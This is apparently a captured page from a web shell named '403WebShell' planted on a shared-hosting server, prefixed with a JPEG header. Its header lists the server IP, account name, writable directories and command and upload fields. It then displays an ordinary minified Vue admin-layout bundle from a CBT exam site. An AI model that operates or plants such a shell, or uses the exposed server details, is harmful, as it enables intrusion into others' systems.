����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.191.132.105
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/cbt.gltechlimited.com/public/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/cbt.gltechlimited.com/public/js/8590.js
"use strict";(self.webpackChunk=self.webpackChunk||[]).push([[8590],{373:(e,t,r)=>{r.d(t,{Z:()=>i});const s={name:"ActionsDropdown",data:function(){return{open:!1}}};const i=(0,r(51900).Z)(s,(function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",{staticClass:"relative inline-block ltr:text-left rtl:text-right"},[r("div",[r("button",{staticClass:"inline-flex justify-center w-full rounded-md border border-gray-300 shadow-sm px-4 py-2 bg-white text-sm font-medium text-gray-700 hover:bg-gray-50 focus:outline-none",attrs:{type:"button",id:"menu-button","aria-expanded":"true","aria-haspopup":"true"},on:{click:function(t){e.open=!e.open}}},[e._v("\n            "+e._s(e.__("Actions"))+"\n            "),e._v(" "),r("svg",{staticClass:"ltr:-mr-1 ltr:ml-2 rtl:mr-2 rtl:-ml-1 h-5 w-5",attrs:{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true"}},[r("path",{attrs:{"fill-rule":"evenodd",d:"M5.293 7.293a1 1 0 011.414 0L10 10.586l3.293-3.293a1 1 0 111.414 1.414l-4 4a1 1 0 01-1.414 0l-4-4a1 1 0 010-1.414z","clip-rule":"evenodd"}})])])]),e._v(" "),r("div",{directives:[{name:"show",rawName:"v-show",value:e.open,expression:"open"}],staticClass:"fixed inset-0 z-40",on:{click:function(t){e.open=!1}}}),e._v(" "),r("div",{directives:[{name:"show",rawName:"v-show",value:e.open,expression:"open"}],staticClass:"z-40 origin-top-right absolute right-0 mt-2 w-56 rounded-md shadow-lg bg-white ring-1 ring-black ring-opacity-5 focus:outline-none",attrs:{role:"menu","aria-orientation":"vertical","aria-labelledby":"menu-button",tabindex:"-1"},on:{click:function(t){e.open=!e.open}}},[r("div",{staticClass:"py-1",attrs:{role:"none"}},[e._t("actions")],2)])])}),[],!1,null,"1e6be95d",null).exports},97618:(e,t,r)=>{r.d(t,{Z:()=>s});const s=(0,r(51900).Z)({},(function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("svg",{attrs:{xmlns:"http://www.w3.org/2000/svg",width:"50",height:"50",viewBox:"0 0 50 50"}},[r("g",{attrs:{id:"Icon",transform:"translate(13 344)"}},[r("g",{attrs:{id:"circle",transform:"translate(-29 -361.14)"}},[r("circle",{attrs:{id:"bg_circle",cx:"25",cy:"25",r:"25",transform:"translate(16 17.14)",fill:"#25c16f"}}),e._v(" "),r("path",{attrs:{id:"white_ring",d:"M20,0A19.969,19.969,0,0,1,37.151,30.248c-.712,1.229-2.946,1.654-4.181,2.926-1.2,1.235-1.426,3.291-3.258,4.338A20.011,20.011,0,1,1,20,0Z",transform:"translate(21 22.14)",fill:"#fff"}}),e._v(" "),r("circle",{attrs:{id:"green_ring",cx:"15",cy:"15",r:"15",transform:"translate(26 27.14)",fill:"#25c16f"}})]),e._v(" "),r("g",{attrs:{id:"cursor",transform:"matrix(1, -0.017, 0.017, 1, 10.797, -319.593)"}},[r("path",{attrs:{id:"right",d:"M10.286,23.465a.687.687,0,0,1-.63-.413L.057.962a.687.687,0,0,1,.9-.9l22.09,9.6a.687.687,0,0,1-.073,1.288L16.249,13A4.885,4.885,0,0,0,13,16.249l-2.058,6.73a.687.687,0,0,1-.619.485Z",transform:"translate(0 0)",fill:"#fff"}}),e._v(" "),r("path",{attrs:{id:"left",d:"M27.244,9.657,5.154.058A.688.688,0,0,0,4.394.2h0L18.412,14.221A4.887,4.887,0,0,1,20.441,13l6.73-2.058a.687.687,0,0,0,.073-1.288Z",transform:"translate(-4.192 -0.001)",fill:"#fff"}})])])])}),[],!1,null,null,null).exports},60651:(e,t,r)=>{r.d(t,{Z:()=>i});const s={data:function(){return{show:!0}},computed:{style:function(){var e;return(null===(e=this.$page.props.jetstream.flash)||void 0===e?void 0:e.bannerStyle)||"success"},message:function(){var e;return(null===(e=this.$page.props.jetstream.flash)||void 0===e?void 0:e.banner)||""}}};const i=(0,r(51900).Z)(s,(function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",[e.show&&e.message?r("div",{class:{"bg-indigo-500":"success"==e.style,"bg-red-700":"danger"==e.style}},[r("div",{staticClass:"max-w-screen-xl mx-auto py-2 px-3 sm:px-6 lg:px-8"},[r("div",{staticClass:"flex items-center justify-between flex-wrap"},[r("div",{staticClass:"w-0 flex-1 flex items-center min-w-0"},[r("span",{staticClass:"flex p-2 rounded-md",class:{"bg-indigo-600":"success"==e.style,"bg-red-600":"danger"==e.style}},["success"==e.style?r("svg",{staticClass:"h-5 w-5 text-white",attrs:{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor"}},[r("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"}})]):e._e(),e._v(" "),"danger"==e.style?r("svg",{staticClass:"h-5 w-5 text-white",attrs:{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor"}},[r("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"}})]):e._e()]),e._v(" "),r("p",{staticClass:"ml-3 font-medium text-white truncate"},[e._v("\n                        "+e._s(e.message)+"\n                    ")])]),e._v(" "),r("div",{staticClass:"flex-shrink-0 sm:ml-3"},[r("button",{staticClass:"-mr-1 flex p-2 rounded-md focus:outline-none sm:-mr-2 transition ease-in-out duration-150",class:{"hover:bg-indigo-600 focus:bg-indigo-600":"success"==e.style,"hover:bg-red-600 focus:bg-red-600":"danger"==e.style},attrs:{type:"button","aria-label":"Dismiss"},on:{click:function(t){t.preventDefault(),e.show=!1}}},[r("svg",{staticClass:"h-5 w-5 text-white",attrs:{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor"}},[r("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M6 18L18 6M6 6l12 12"}})])])])])])]):e._e()])}),[],!1,null,null,null).exports},16446:(e,t,r)=>{r.d(t,{Z:()=>i});const s={props:{align:{default:"right"},width:{default:"48"},contentClasses:{default:function(){return["py-1","bg-white"]}}},data:function(){return{open:!1}},created:function(){var e=this,t=function(t){e.open&&27===t.keyCode&&(e.open=!1)};this.$once("hook:destroyed",(function(){document.removeEventListener("keydown",t)})),document.addEventListener("keydown",t)},computed:{widthClass:function(){return{48:"w-48"}[this.width.toString()]},alignmentClasses:function(){return"left"===this.align?"origin-top-left left-0":"right"===this.align?"rtl:origin-top-left rtl:left-0 ltr:origin-top-right ltr:right-0":"origin-top"}}};const i=(0,r(51900).Z)(s,(function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",{staticClass:"relative"},[r("div",{on:{click:function(t){e.open=!e.open}}},[e._t("trigger")],2),e._v(" "),r("div",{directives:[{name:"show",rawName:"v-show",value:e.open,expression:"open"}],staticClass:"fixed inset-0 z-40",on:{click:function(t){e.open=!1}}}),e._v(" "),r("transition",{attrs:{"enter-active-class":"transition ease-out duration-200","enter-class":"transform opacity-0 scale-95","enter-to-class":"transform opacity-100 scale-100","leave-active-class":"transition ease-in duration-75","leave-class":"transform opacity-100 scale-100","leave-to-class":"transform opacity-0 scale-95"}},[r("div",{directives:[{name:"show",rawName:"v-show",value:e.open,expression:"open"}],staticClass:"absolute z-50 mt-2 shadow rounded",class:[e.widthClass,e.alignmentClasses],staticStyle:{display:"none"},on:{click:function(t){e.open=!1}}},[r("div",{staticClass:"rounded-sm ring-1 ring-black ring-opacity-5",class:e.contentClasses},[e._t("content")],2)])])],1)}),[],!1,null,null,null).exports},93210:(e,t,r)=>{r.d(t,{Z:()=>i});const s={props:["href","as"]};const i=(0,r(51900).Z)(s,(function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",["button"===e.as?r("button",{staticClass:"block text-sm w-full px-4 py-2 leading-5 text-gray-700 ltr:text-left rtl:text-right hover:bg-gray-100 focus:outline-none focus:bg-gray-100 transition duration-150 ease-in-out",attrs:{type:"submit"}},[e._t("default")],2):r("inertia-link",{staticClass:"text-sm block px-4 py-2 leading-5 text-gray-700 hover:bg-gray-100 ltr:text-left rtl:text-right focus:outline-none focus:bg-gray-100 transition duration-150 ease-in-out",attrs:{href:e.href}},[e._t("default")],2)],1)}),[],!1,null,null,null).exports},57850:(e,t,r)=>{r.d(t,{Z:()=>i});const s={props:["href","active"],computed:{classes:function(){return this.active?"inline-flex items-center px-1 pt-1 border-b-2 border-indigo-400 font-medium leading-5 text-gray-900 focus:outline-none focus:border-indigo-700 transition duration-150 ease-in-out":"inline-flex items-center px-1 pt-1 border-b-2 border-transparent font-medium leading-5 text-gray-500 hover:text-gray-700 hover:border-gray-300 focus:outline-none focus:text-gray-700 focus:border-gray-300 transition duration-150 ease-in-out"}}};const i=(0,r(51900).Z)(s,(function(){var e=this,t=e.$createElement;return(e._self._c||t)("inertia-link",{class:e.classes,attrs:{href:e.href}},[e._t("default")],2)}),[],!1,null,null,null).exports},79333:(e,t,r)=>{r.d(t,{Z:()=>i});const s={name:"NoDataTable",props:{title:{type:String,default:"No Records Found"}}};const i=(0,r(51900).Z)(s,(function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("section",{staticClass:"max-w-lg px-4 py-12 mx-auto"},[r("h2",{staticClass:"mt-2 text-sm font-medium text-center text-gray-800"},[e._v(e._s(e.title))]),e._v(" "),r("div",{staticClass:"flex flex-col items-center justify-center mt-4 space-y-1 md:flex-row md:space-y-0 md:space-x-1"},[e._t("action")],2)])}),[],!1,null,null,null).exports},37760:(e,t,r)=>{r.d(t,{Z:()=>i});const s={props:["active","href","as"],computed:{classes:function(){return this.active?"block pl-3 pr-4 py-2 border-l-4 border-indigo-400 text-base font-medium text-indigo-700 bg-indigo-50 focus:outline-none focus:text-indigo-800 focus:bg-indigo-100 focus:border-indigo-700 transition duration-150 ease-in-out":"block pl-3 pr-4 py-2 border-l-4 border-transparent text-base font-medium text-gray-600 hover:text-gray-800 hover:bg-gray-50 hover:border-gray-300 focus:outline-none focus:text-gray-800 focus:bg-gray-50 focus:border-gray-300 transition duration-150 ease-in-out"}}};const i=(0,r(51900).Z)(s,(function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",["button"==e.as?r("button",{staticClass:"w-full text-left",class:e.classes},[e._t("default")],2):r("inertia-link",{class:e.classes,attrs:{href:e.href}},[e._t("default")],2)],1)}),[],!1,null,null,null).exports},66727:(e,t,r)=>{r.d(t,{Z:()=>x});var s=r(97618),i=r(60651),a=r(16446),o=r(93210),n=r(57850),l=r(37760),c=r(71003),u=r(50298),p=r(15366);const d={name:"SidebarDropdown",props:{title:String,items:Array},data:function(){return{open:!1}},methods:{isActive:function(e){return window.location.href===e},isOpen:function(){return this.urls.includes(window.location.href)}},computed:{urls:function(){var e=[];return this.items.forEach((function(t){return e.push(t.url)})),e}},created:function(){this.open=this.isOpen()}};var h=r(51900);const m=(0,h.Z)(d,(function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",[r("div",{staticClass:"flex items-center justify-between px-4 py-3 transition cursor-pointer group hover:bg-gray-800 hover:text-gray-200",class:{"text-green-400":e.open},attrs:{role:"button"},on:{click:function(t){e.open=!e.open}}},[r("div",{staticClass:"flex items-center"},[e._t("icon"),e._v(" "),r("span",[e._v(e._s(e.__(e.title)))])],2),e._v(" "),r("svg",{staticClass:"flex-shrink-0 w-4 h-4 ml-2 transition transform",class:{"rotate-90":e.open},attrs:{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor"}},[r("path",{attrs:{"fill-rule":"evenodd",d:"M7.293 14.707a1 1 0 010-1.414L10.586 10 7.293 6.707a1 1 0 011.414-1.414l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414 0z","clip-rule":"evenodd"}})])]),e._v(" "),r("div",{directives:[{name:"show",rawName:"v-show",value:e.open,expression:"open"}],staticClass:"mb-4"},e._l(e.items,(function(t){return r("div",{key:t.url,staticClass:"block"},[t.active?r("inertia-link",{staticClass:"flex items-center py-2 pl-12 pr-4 transition cursor-pointer hover:bg-gray-800 hover:text-gray-200",class:{"text-green-400":e.isActive(t.url)},attrs:{href:t.url}},[e._v("\n                "+e._s(e.__(t.label))+"\n            ")]):e._e()],1)})),0)])}),[],!1,null,null,null).exports;const g={name:"SidebarLink",props:{title:String,url:String},computed:{active:function(){return window.location.href===this.url}}};const v=(0,h.Z)(g,(function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("inertia-link",{staticClass:"flex items-center px-4 py-3 transition cursor-pointer group hover:bg-gray-800 hover:text-gray-200",class:{"text-green-400":e.active},attrs:{href:e.url}},[e._t("icon"),e._v(" "),r("span",[e._v(e._s(e.__(e.title)))])],2)}),[],!1,null,null,null).exports;var f=r(44943),_=r(78465);const w={components:{ArcApplicationMark:s.Z,ArcBanner:i.Z,ArcDropdown:a.Z,ArcDropdownLink:o.Z,ArcNavLink:n.Z,ArcResponsiveNavLink:l.Z,ConfirmDialog:c.default,Message:p.default,Toast:u.default,SidebarDropdown:m,SidebarLink:v,PerfectScrollbar:f.PerfectScrollbar,InputSwitch:_.default},data:function(){return{sideBar:!1,darkMode:!1,scrollbarOptions:{suppressScrollX:!0},successMessage:String,errorMessage:String,items:[{label:"Home Dashboard",item_type:"link",icon:'<svg class="flex-shrink-0 w-5 h-5 ltr:mr-2 rtl:ml-2 transition group-hover:text-gray-300" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 12l2-2m0 0l7-7 7 7M5 10v10a1 1 0 001 1h3m10-11l2 2m-2-2v10a1 1 0 01-1 1h-3m-6 0a1 1 0 001-1v-4a1 1 0 011-1h2a1 1 0 011 1v4a1 1 0 001 1m-6 0h6"></path></svg>',url:route("admin_dashboard"),active:"admin"===this.$page.props.user.role_id},{label:"Home Dashboard",item_type:"link",icon:'<svg class="flex-shrink-0 w-5 h-5 ltr:mr-2 rtl:ml-2 transition group-hover:text-gray-300" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 12l2-2m0 0l7-7 7 7M5 10v10a1 1 0 001 1h3m10-11l2 2m-2-2v10a1 1 0 01-1 1h-3m-6 0a1 1 0 001-1v-4a1 1 0 011-1h2a1 1 0 011 1v4a1 1 0 001 1m-6 0h6"></path></svg>',url:route("instructor_dashboard"),active:"instructor"===this.$page.props.user.role_id},{label:"File Manager",item_type:"link",url:route("file-manager"),icon:'<svg class="flex-shrink-0 w-5 h-5 ltr:mr-2 rtl:ml-2 transition group-hover:text-gray-300" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8 7v8a2 2 0 002 2h6M8 7V5a2 2 0 012-2h4.586a1 1 0 01.707.293l4.414 4.414a1 1 0 01.293.707V15a2 2 0 01-2 2h-2M8 7H6a2 2 0 00-2 2v10a2 2 0 002 2h8a2 2 0 002-2v-2"></path></svg>',active:"admin"===this.$page.props.user.role_id},{item_type:"divider",label:"Engage"},{label:"Manage Tests",item_type:"dropdown",icon:'<svg class="flex-shrink-0 w-5 h-5 ltr:mr-2 rtl:ml-2 transition group-hover:text-gray-300" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"></path></svg>',active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id,items:[{label:"Quizzes",url:route("quizzes.index"),active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id},{label:"Exams",url:route("exams.index"),active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id},{label:"Quiz Types",url:route("quiz-types.index"),active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id},{label:"Exam Types",url:route("exam-types.index"),active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id}]},{label:"Manage Learning",item_type:"dropdown",icon:'<svg class="flex-shrink-0 w-5 h-5 ltr:mr-2 rtl:ml-2 transition group-hover:text-gray-300" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor"><path d="M0 0h24v24H0z" fill="none"/><path d="M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z"/></svg>',active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id,items:[{label:"Practice Sets",url:route("practice-sets.index"),active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id},{label:"Lessons",url:route("practice.configure_lessons"),active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id},{label:"Videos",url:route("practice.configure_videos"),active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id}]},{item_type:"divider",label:"Library"},{label:"Question Bank",item_type:"dropdown",icon:'<svg class="flex-shrink-0 w-5 h-5 ltr:mr-2 rtl:ml-2 transition group-hover:text-gray-300" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8.228 9c.549-1.165 2.03-2 3.772-2 2.21 0 4 1.343 4 3 0 1.4-1.278 2.575-3.006 2.907-.542.104-.994.54-.994 1.093m0 3h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"></path></svg>',active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id,items:[{label:"Questions",url:route("questions.index"),active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id},{label:"Import Questions",url:route("initiate_import_questions"),active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id},{label:"Comprehensions",url:route("comprehensions.index"),active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id},{label:"Question Types",url:route("question-types.index"),active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id}]},{label:"Lesson Bank",item_type:"link",icon:'<svg class="flex-shrink-0 w-5 h-5 ltr:mr-2 rtl:ml-2 transition group-hover:text-gray-300" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 12h6m-6 4h6m2 5H7a2 2 0 01-2-2V5a2 2 0 012-2h5.586a1 1 0 01.707.293l5.414 5.414a1 1 0 01.293.707V19a2 2 0 01-2 2z"></path></svg>',active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id,url:route("lessons.index")},{label:"Video Bank",item_type:"link",icon:'<svg class="flex-shrink-0 w-5 h-5 ltr:mr-2 rtl:ml-2 transition group-hover:text-gray-300" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14.752 11.168l-3.197-2.132A1 1 0 0010 9.87v4.263a1 1 0 001.555.832l3.197-2.132a1 1 0 000-1.664z"></path><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 12a9 9 0 11-18 0 9 9 0 0118 0z"></path></svg>',active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id,url:route("videos.index")},{item_type:"divider",label:"Configuration"},{label:"Monetization",item_type:"dropdown",icon:'<svg class="flex-shrink-0 w-5 h-5 ltr:mr-2 rtl:ml-2 transition group-hover:text-gray-300"  xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor"><path d="M0 0h24v24H0V0z" fill="none"/><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm.31-8.86c-1.77-.45-2.34-.94-2.34-1.67 0-.84.79-1.43 2.1-1.43 1.38 0 1.9.66 1.94 1.64h1.71c-.05-1.34-.87-2.57-2.49-2.97V5H10.9v1.69c-1.51.32-2.72 1.3-2.72 2.81 0 1.79 1.49 2.69 3.66 3.21 1.95.46 2.34 1.15 2.34 1.87 0 .53-.39 1.39-2.1 1.39-1.6 0-2.23-.72-2.32-1.64H8.04c.1 1.7 1.36 2.66 2.86 2.97V19h2.34v-1.67c1.52-.29 2.72-1.16 2.73-2.77-.01-2.2-1.9-2.96-3.66-3.42z"/></svg>',active:"admin"===this.$page.props.user.role_id,items:[{label:"Plans",url:route("plans.index"),active:"admin"===this.$page.props.user.role_id},{label:"Subscriptions",url:route("subscriptions.index"),active:"admin"===this.$page.props.user.role_id},{label:"Payments",url:route("payments.index"),active:"admin"===this.$page.props.user.role_id}]},{label:"Manage Users",item_type:"dropdown",icon:'<svg class="flex-shrink-0 w-5 h-5 ltr:mr-2 rtl:ml-2 transition group-hover:text-gray-300" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M17 20h5v-2a3 3 0 00-5.356-1.857M17 20H7m10 0v-2c0-.656-.126-1.283-.356-1.857M7 20H2v-2a3 3 0 015.356-1.857M7 20v-2c0-.656.126-1.283.356-1.857m0 0a5.002 5.002 0 019.288 0M15 7a3 3 0 11-6 0 3 3 0 016 0zm6 3a2 2 0 11-4 0 2 2 0 014 0zM7 10a2 2 0 11-4 0 2 2 0 014 0z"></path></svg>',active:"admin"===this.$page.props.user.role_id,items:[{label:"Users",url:route("users.index"),active:"admin"===this.$page.props.user.role_id},{label:"User Groups",url:route("user-groups.index"),active:"admin"===this.$page.props.user.role_id},{label:"Import Users",url:route("initiate_import_users"),active:"admin"===this.$page.props.user.role_id}]},{label:"Manage Categories",item_type:"dropdown",icon:'<svg class="flex-shrink-0 w-5 h-5 ltr:mr-2 rtl:ml-2 transition group-hover:text-gray-300" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 11H5m14 0a2 2 0 012 2v6a2 2 0 01-2 2H5a2 2 0 01-2-2v-6a2 2 0 012-2m14 0V9a2 2 0 00-2-2M5 11V9a2 2 0 012-2m0 0V5a2 2 0 012-2h6a2 2 0 012 2v2M7 7h10"></path></svg>',active:"admin"===this.$page.props.user.role_id,items:[{label:"Categories",url:route("categories.index"),active:"admin"===this.$page.props.user.role_id},{label:"Sub Categories",url:route("sub-categories.index"),active:"admin"===this.$page.props.user.role_id},{label:"Tags",url:route("tags.index"),active:"admin"===this.$page.props.user.role_id}]},{label:"Manage Subjects",item_type:"dropdown",icon:'<svg class="flex-shrink-0 w-5 h-5 ltr:mr-2 rtl:ml-2 transition group-hover:text-gray-300" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 6.253v13m0-13C10.832 5.477 9.246 5 7.5 5S4.168 5.477 3 6.253v13C4.168 18.477 5.754 18 7.5 18s3.332.477 4.5 1.253m0-13C13.168 5.477 14.754 5 16.5 5c1.747 0 3.332.477 4.5 1.253v13C19.832 18.477 18.247 18 16.5 18c-1.746 0-3.332.477-4.5 1.253"></path></svg>',active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id,items:[{label:"Sections",url:route("sections.index"),active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id},{label:"Skills",url:route("skills.index"),active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id},{label:"Topics",url:route("topics.index"),active:"admin"===this.$page.props.user.role_id||"instructor"===this.$page.props.user.role_id}]},{label:"Settings",item_type:"dropdown",icon:'<svg class="flex-shrink-0 w-5 h-5 ltr:mr-2 rtl:ml-2 transition group-hover:text-gray-300" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.065 2.572c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.572 1.065c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.065-2.572c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"></path><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z"></path></svg>',active:"admin"===this.$page.props.user.role_id,items:[{label:"General Settings",url:route("general_settings"),active:"admin"===this.$page.props.user.role_id},{label:"Localization Settings",url:route("localization_settings"),active:"admin"===this.$page.props.user.role_id},{label:"Home Page Settings",url:route("home_page_settings"),active:"admin"===this.$page.props.user.role_id},{label:"Email Settings",url:route("email_settings"),active:"admin"===this.$page.props.user.role_id},{label:"Payment Settings",url:route("payment_settings"),active:"admin"===this.$page.props.user.role_id},{label:"Billing & Tax Settings",url:route("billing_tax_settings"),active:"admin"===this.$page.props.user.role_id},{label:"Theme Settings",url:route("theme_settings"),active:"admin"===this.$page.props.user.role_id},{label:"Maintenance Settings",url:route("maintenance_settings"),active:"admin"===this.$page.props.user.role_id}]}]}},methods:{switchToTeam:function(e){this.$inertia.put(route("current-team.update"),{team_id:e.id},{preserveState:!1})},changeMode:function(){this.darkMode?document.documentElement.classList.add("dark"):document.documentElement.classList.remove("dark")},logout:function(){this.$inertia.post(route("logout"))}}};const x=(0,h.Z)(w,(function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",[r("div",{staticClass:"ltr:ml-0 rtl:mr-0 transition md:ltr:ml-60 md:rtl:mr-60"},[r("arc-banner")],1),e._v(" "),r("div",{staticClass:"min-h-screen"},[r("nav",{staticClass:"fixed top-0 ltr:left-0 rtl:right-0 z-20 h-full pb-10 overflow-hidden transition origin-left transform bg-gray-900 w-60 md:ltr:translate-x-0 md:rtl:-translate-x-0",class:{"ltr:-translate-x-full rtl:translate-x-full":!e.sideBar,"translate-x-0":e.sideBar},on:{click:function(t){e.sideBar=!1}}},[r("inertia-link",{staticClass:"flex items-center px-4 py-5",attrs:{href:e.route("home")}},[r("img",{staticClass:"h-8 w-auto",attrs:{src:e.$page.props.assetUrl+e.$page.props.general.logo_path,alt:e.$page.props.general.app_name}})]),e._v(" "),r("perfect-scrollbar",{ref:"scroll",staticClass:"h-full overflow-hidden",attrs:{options:e.scrollbarOptions}},[r("nav",{staticClass:"text-sm font-medium pb-16 text-gray-400",attrs:{"aria-label":"Main Navigation"}},[e._l(e.items,(function(t){return[t.active&&"dropdown"===t.item_type?r("sidebar-dropdown",{attrs:{title:t.label,items:t.items},scopedSlots:e._u([{key:"icon",fn:function(){return[r("span",{domProps:{innerHTML:e._s(t.icon)}})]},proxy:!0}],null,!0)}):e._e(),e._v(" "),!0===t.active&&"link"===t.item_type?r("sidebar-link",{attrs:{title:t.label,url:t.url},scopedSlots:e._u([{key:"icon",fn:function(){return[r("span",{domProps:{innerHTML:e._s(t.icon)}})]},proxy:!0}],null,!0)}):e._e(),e._v(" "),"divider"===t.item_type?r("div",{staticClass:"my-4 mx-4 uppercase font-semibold text-green-500 text-xs"},[e._v("\n                            "+e._s(t.label)+"\n                        ")]):e._e()]}))],2)])],1),e._v(" "),r("div",{staticClass:"ltr:ml-0 rtl:mr-0 transition md:ltr:ml-60 md:rtl:mr-60"},[r("header",{staticClass:"bg-white shadow flex items-center justify-between w-full md:mx-auto md:sticky md:z-30 md:top-0 px-4 h-14"},[r("button",{staticClass:"block btn btn-light-secondary md:hidden",on:{click:function(t){e.sideBar=!0}}},[r("span",{staticClass:"sr-only"},[e._v(e._s(e.__("Menu")))]),e._v(" "),r("svg",{staticClass:"w-4 